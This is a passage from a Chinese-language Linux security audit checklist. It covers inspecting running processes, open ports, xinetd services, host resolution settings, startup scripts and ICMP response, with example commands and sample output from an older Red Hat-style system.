# cat /etc/ftpaccess | grep class
# User classes...
class all real,guest,anonymous *
4 网络与服务
4.1 系统运行进程检查
4.1.1 说明:
得到系统运行进程
4.1.2 检查方法:
ps -aux
4.1.3 结果分析方法:
# ps -aux
4.1.4 备注:
计算系统运行进程个数:# ps –aux | wc -l
4.2 系统打开端口信息检查
4.2.1 说明:
得到系统打开的端口信息
4.2.2 检查方法:
netstat -an
4.2.3 结果分析方法:
# netstat -an
4.3 系统服务信息检查
4.3.1 说明:
得到系统服务信息
4.3.2 检查方法:
lsof -i netstat -at
4.3.3 结果分析方法:
# lsof -i
netstat -at
4.3.4 备注:
如果系统未安装lsof,使用netstat –a --ip:
# netstat -a --ip
4.4 xinetd/inetd服务信息检查
4.4.1 说明:
查看系统是否运行xinetd/inetd服务
4.4.2 检查方法:
ps -aux | grep inetd ps -aux | grep xinetd
4.4.3 结果分析方法:
# ps -aux | grep xinetd
root 383 0.0 0.6 2088 832 ? S 20:06 0:00 xinetd -stayalive
4.4.4 备注:
本例输出表示系统运行xinetd,
# cd /etc/xinetd.d
# grep “disable” ./*
./chargen: disable = yes
./chargen-udp: disable = yes
./cvs: disable = no
./daytime: disable = yes
./daytime-udp: disable = yes
./echo: disable = yes
./echo-udp: disable = yes
./rsync: disable = yes
./servers: disable = yes
./services: disable = yes
./time: disable = yes
./time-udp: disable = yes
./wu-ftpd: disable = yes
输出中disable=no表示xinetd启动cvs进程,执行netstat -a进行确认。
# netstat -a
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 *:cvspserver *:* LISTEN
4.5 /etc/hosts.conf信息检查
4.5.1 说明:
得到系统解析地址的信息
4.5.2 检查方法:
/etc/host.conf
4.5.3 结果分析方法:
# cat /etc/host.conf
order hosts,bind
4.5.4 备注:
本例输出表示先通过hosts文件解析,然后通过DNS解析。
4.6 /etc/hosts.equiv信息检查
4.6.1 说明:
查看是否存在/etc/hosts.equiv文件
4.6.2 检查方法:
ls -al /etc/hosts.equiv
4.6.3 结果分析方法:
# ls -al /etc/hosts.equiv
4.7 /etc/rc.d/init.d自动运行脚本检查
4.7.1 说明:
查看系统开机自动运行的脚本
4.7.2 检查方法:
ls -al /etc/rc.d/init.d
4.7.3 结果分析方法:
# ls -al /etc/rc.d/init.d/
total 208
drwxr-xr-x 2 root 4096 Nov 13 14:12 ./
drwxr-xr-x 10 root 4096 May 10 22:12 ../
-rwxr-xr-x 1 root 2633 Aug 23 2002 aep1000*
-rwxr-xr-x 1 root 941 Aug 28 2002 anacron*
-rwxr-xr-x 1 root 1458 Jun 23 2002 apmd*
-rwxr-xr-x 1 root 1176 Jul 25 2002 atd*
-rwxr-xr-x 1 root 9435 Aug 27 2002 autofs*
-rwxr-xr-x 1 root 2455 Aug 23 2002 bcm5820*
-rwxr-xr-x 1 root 1095 Aug 24 2002 cpqarrayd*
-rwxr-xr-x 1 root 1316 Jul 20 2002 crond*
-rwxr-xr-x 1 root 10068 Jul 14 2002 functions*
-rwxr-xr-x 1 root 1541 Jun 24 2002 gpm*
-rwxr-xr-x 1 root 5075 Aug 14 2002 halt*
-rwxr-xr-x 1 root 2366 Sep 5 2002 httpd*
-rwxr-xr-x 1 root 5636 Aug 7 2002 iptables*
-rwxr-xr-x 1 root 1152 Jul 9 2002 irda*
-rwxr-xr-x 1 root 1084 Aug 3 2002 kdcrotate*
-rwxr-xr-x 1 root 1347 Sep 5 2002 keytable*
-rwxr-xr-x 1 root 481 Jul 6 2002 killall*
-rwxr-xr-x 1 root 1919 Sep 3 2002 kudzu*
-rwxr-xr-x 1 root 1539 Aug 24 2002 microcode_ctl*
-rwxr-xr-x 1 root 5024 Jun 26 2002 netfs*
-rwxr-xr-x 1 root 6402 Jul 10 2002 network*
-rwxr-xr-x 1 root 4522 Aug 1 2002 nfs*
-rwxr-xr-x 1 root 2286 Aug 1 2002 nfslock*
-rwxr-xr-x 1 root 2066 Sep 6 2002 nscd*
-r-xr-xr-x 1 root 4596 Aug 31 2002 pcmcia*
-rwxr-xr-x 1 root 1901 Aug 7 2002 portmap*
-rwxr-xr-x 1 root 1516 Jun 26 2002 random*
-rwxr-xr-x 1 root 2211 Jun 26 2002 rawdevices*
-rwxr-xr-x 1 root 1782 Sep 10 2002 rhnsd*
-rwxr-xr-x 1 root 1260 Sep 3 2002 saslauthd*
-r-x------ 1 root 177 Nov 13 14:12 secuve_file*
-rwxr-xr-x 1 root 2362 Aug 30 2002 sendmail*
-rwxr-xr-x 1 root 1175 Jul 10 2002 single*
-rwxr-xr-x 1 root 627 Aug 24 2002 smartd*
-rwxr-xr-x 1 root 1160 Sep 1 2002 snmpd*
-rwxr-xr-x 1 root 1131 Sep 1 2002 snmptrapd*
-rwxr-xr-x 1 root 2647 Aug 14 2002 sshd*
-rwxr-xr-x 1 root 1369 Jun 24 2002 syslog*
-rwxr-xr-x 1 root 2407 Aug 16 2002 xinetd*
-rwxr-xr-x 1 root 2501 Jun 24 2002 ypbind*
4.8 开放端口与进程信息检查
4.8.1 说明:
查看某个开放端口由哪个进程打开
4.8.2 检查方法:
假设要查看的开放端口是2401,执行fuser -n tcp 2401,返回的进程ID为pid,
再执行ps -aux | grep pid。
4.8.3 结果分析方法:
# fuser -n tcp 2401
2401/tcp: 383
# ps -aux | grep 383
root 383 0.0 0.6 2088 832 ? S 20:06 0:00 xinetd -stayalive
4.8.4 备注:
本例输出表示2401端口由xinetd进程打开。
此检查可以检测系统开放的不明端口。
4.9 /etc/rc.d/rc[0-6].d脚本信息检查
4.9.1 说明:
查看/etc/rc.d/rc[0-6].d下运行的脚本
4.9.2 检查方法:
ls -al /etc/rc.d/rc0.d
…
ls -al /etc/rc.d/rc6.d
4.9.3 结果分析方法:
# ls -al rc3.d/
total 8
drwxr-xr-x 2 root 4096 Nov 13 14:21 ./
drwxr-xr-x 10 root 4096 May 10 22:12 ../
lrwxrwxrwx 1 root 28 Nov 13 14:12 BS99file -> /etc/rc.d/init.d/secuve_file*
lrwxrwxrwx 1 root 15 Oct 29 2002 K03rhnsd -> ../init.d/rhnsd*
lrwxrwxrwx 1 root 17 Oct 29 2002 K05anacron -> ../init.d/anacron*
lrwxrwxrwx 1 root 13 Oct 29 2002 K05atd -> ../init.d/atd*
lrwxrwxrwx 1 root 18 Oct 29 2002 K05keytable -> ../init.d/keytable*
lrwxrwxrwx 1 root 19 Oct 29 2002 K05saslauthd -> ../init.d/saslauthd*
lrwxrwxrwx 1 root 13 Oct 29 2002 K15gpm -> ../init.d/gpm*
lrwxrwxrwx 1 root 13 Oct 29 2002 K20nfs -> ../init.d/nfs*
lrwxrwxrwx 1 root 14 Oct 29 2002 K24irda -> ../init.d/irda*
lrwxrwxrwx 1 root 18 Oct 29 2002 K30sendmail -> ../init.d/sendmail*
lrwxrwxrwx 1 root 16 Oct 29 2002 K45smartd -> ../init.d/smartd*
lrwxrwxrwx 1 root 15 Oct 29 2002 K50snmpd -> ../init.d/snmpd*
lrwxrwxrwx 1 root 19 Oct 29 2002 K50snmptrapd -> ../init.d/snmptrapd*
lrwxrwxrwx 1 root 15 Oct 29 2002 K60crond -> ../init.d/crond*
lrwxrwxrwx 1 root 17 Oct 29 2002 K70aep1000 -> ../init.d/aep1000*
lrwxrwxrwx 1 root 17 Oct 29 2002 K70bcm5820 -> ../init.d/bcm5820*
lrwxrwxrwx 1 root 16 Oct 29 2002 K72autofs -> ../init.d/autofs*
lrwxrwxrwx 1 root 14 Oct 29 2002 K74apmd -> ../init.d/apmd*
lrwxrwxrwx 1 root 15 Oct 29 2002 K75netfs -> ../init.d/netfs*
lrwxrwxrwx 1 root 17 Oct 29 2002 K86nfslock -> ../init.d/nfslock*
lrwxrwxrwx 1 root 17 Oct 29 2002 K87portmap -> ../init.d/portmap*
lrwxrwxrwx 1 root 18 Oct 29 2002 K92iptables -> ../init.d/iptables*
lrwxrwxrwx 1 root 15 Oct 29 2002 K95kudzu -> ../init.d/kudzu*
lrwxrwxrwx 1 root 16 Oct 29 2002 K96pcmcia -> ../init.d/pcmcia*
lrwxrwxrwx 1 root 23 Oct 29 2002 S00microcode_ctl -> ../init.d/microcode_ctl*
lrwxrwxrwx 1 root 17 Oct 29 2002 S10network -> ../init.d/network*
lrwxrwxrwx 1 root 16 Oct 29 2002 S12syslog -> ../init.d/syslog*
lrwxrwxrwx 1 root 16 Oct 29 2002 S20random -> ../init.d/random*
lrwxrwxrwx 1 root 14 Oct 29 2002 S55sshd -> ../init.d/sshd*
lrwxrwxrwx 1 root 20 Oct 29 2002 S56rawdevices -> ../init.d/rawdevices*
lrwxrwxrwx 1 root 16 Oct 29 2002 S56xinetd -> ../init.d/xinetd*
lrwxrwxrwx 1 root 15 Oct 29 2002 S85httpd -> ../init.d/httpd*
lrwxrwxrwx 1 root 11 Oct 30 2002 S99local -> ../rc.local*
4.9.4 备注:
以S开头的为该运行级别下运行的脚本
4.10 系统ping响应信息检查
4.10.1 说明:
查看系统是否响应ICMP请求
4.10.2 检查方法:
cat /proc/sys/net/ipv4/icmp_echo_ignore_all
或从同网段的另一台机器ping该主机
4.10.3 结果分析方法:
# cat /proc/sys/net/ipv4/icmp_echo_ignore_all
0
4.10.4 备注:
本例输出表示系统响应ICMP请求
4.11 系统服务运行等级信息检查
4.11.1 说明:
查看系统服务运行等级信息
4.11.2 检查方法: